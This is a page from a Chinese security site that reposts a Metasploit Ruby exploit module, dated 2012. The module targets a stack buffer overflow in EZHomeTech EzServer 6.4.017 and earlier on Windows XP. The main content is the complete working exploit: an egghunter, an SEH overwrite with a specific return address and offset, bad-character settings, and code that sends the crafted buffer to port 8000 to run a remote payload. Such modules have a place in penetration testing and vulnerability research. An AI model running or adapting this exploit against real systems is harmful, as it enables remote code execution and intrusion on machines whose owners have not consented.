首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability
来源:http://www.metasploit.com 作者:modpr0be 发布时间:2012-06-20  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
    user sends packets containing an overly long string, it may be possible to execute a
    payload remotely. Due to size constraints, this module uses the Egghunter technique.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
    ],
   'References'     =>
    [
     [ 'EDB', '19266' ],
     [ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'seh'
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
     'DisableNops' => true
    },
   'Targets'        =>
    [
     [ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
      {
       'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
       'Offset' => 5852
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 18 2012',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(8000)], self.class)

 end

 def exploit
  connect
  eggoptions =
  {
   :checksum => true,
   :eggtag => "w00t"
  }

  hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
  egg = hunter[1]
  buff = rand_text(target['Offset'] - egg.length) #junk
  buff << egg
  buff << make_nops(32)
  buff << generate_seh_record(target.ret)
  buff << make_nops(16)
  buff << hunter[0]
  buff << rand_text_alpha_upper(500)

  print_status("Triggering shellcode now...")
  print_status("Please be patient, the egghunter may take a while..")

  sock.put(buff)

  handler
  disconnect

 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP Data Protector Client EXEC_
·Sysax 5.62 Admin Interface Loc
·Ezhometech Ezserver 6.4 Stack
·Adobe Flash Player AVM Verific
·Total Video Player 1.31 .m3u C
·Lattice Diamond Programmer 1.4
·Apple iTunes <= 10.6.1.7 Exten
·PHP apache_request_headers Fun
·URL Hunter buffer overflow DEP
·Microsoft XML Core Services MS
·Qutecom (Cross-platform, open
·Karafun Player 1.20.86 .m3u Cr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved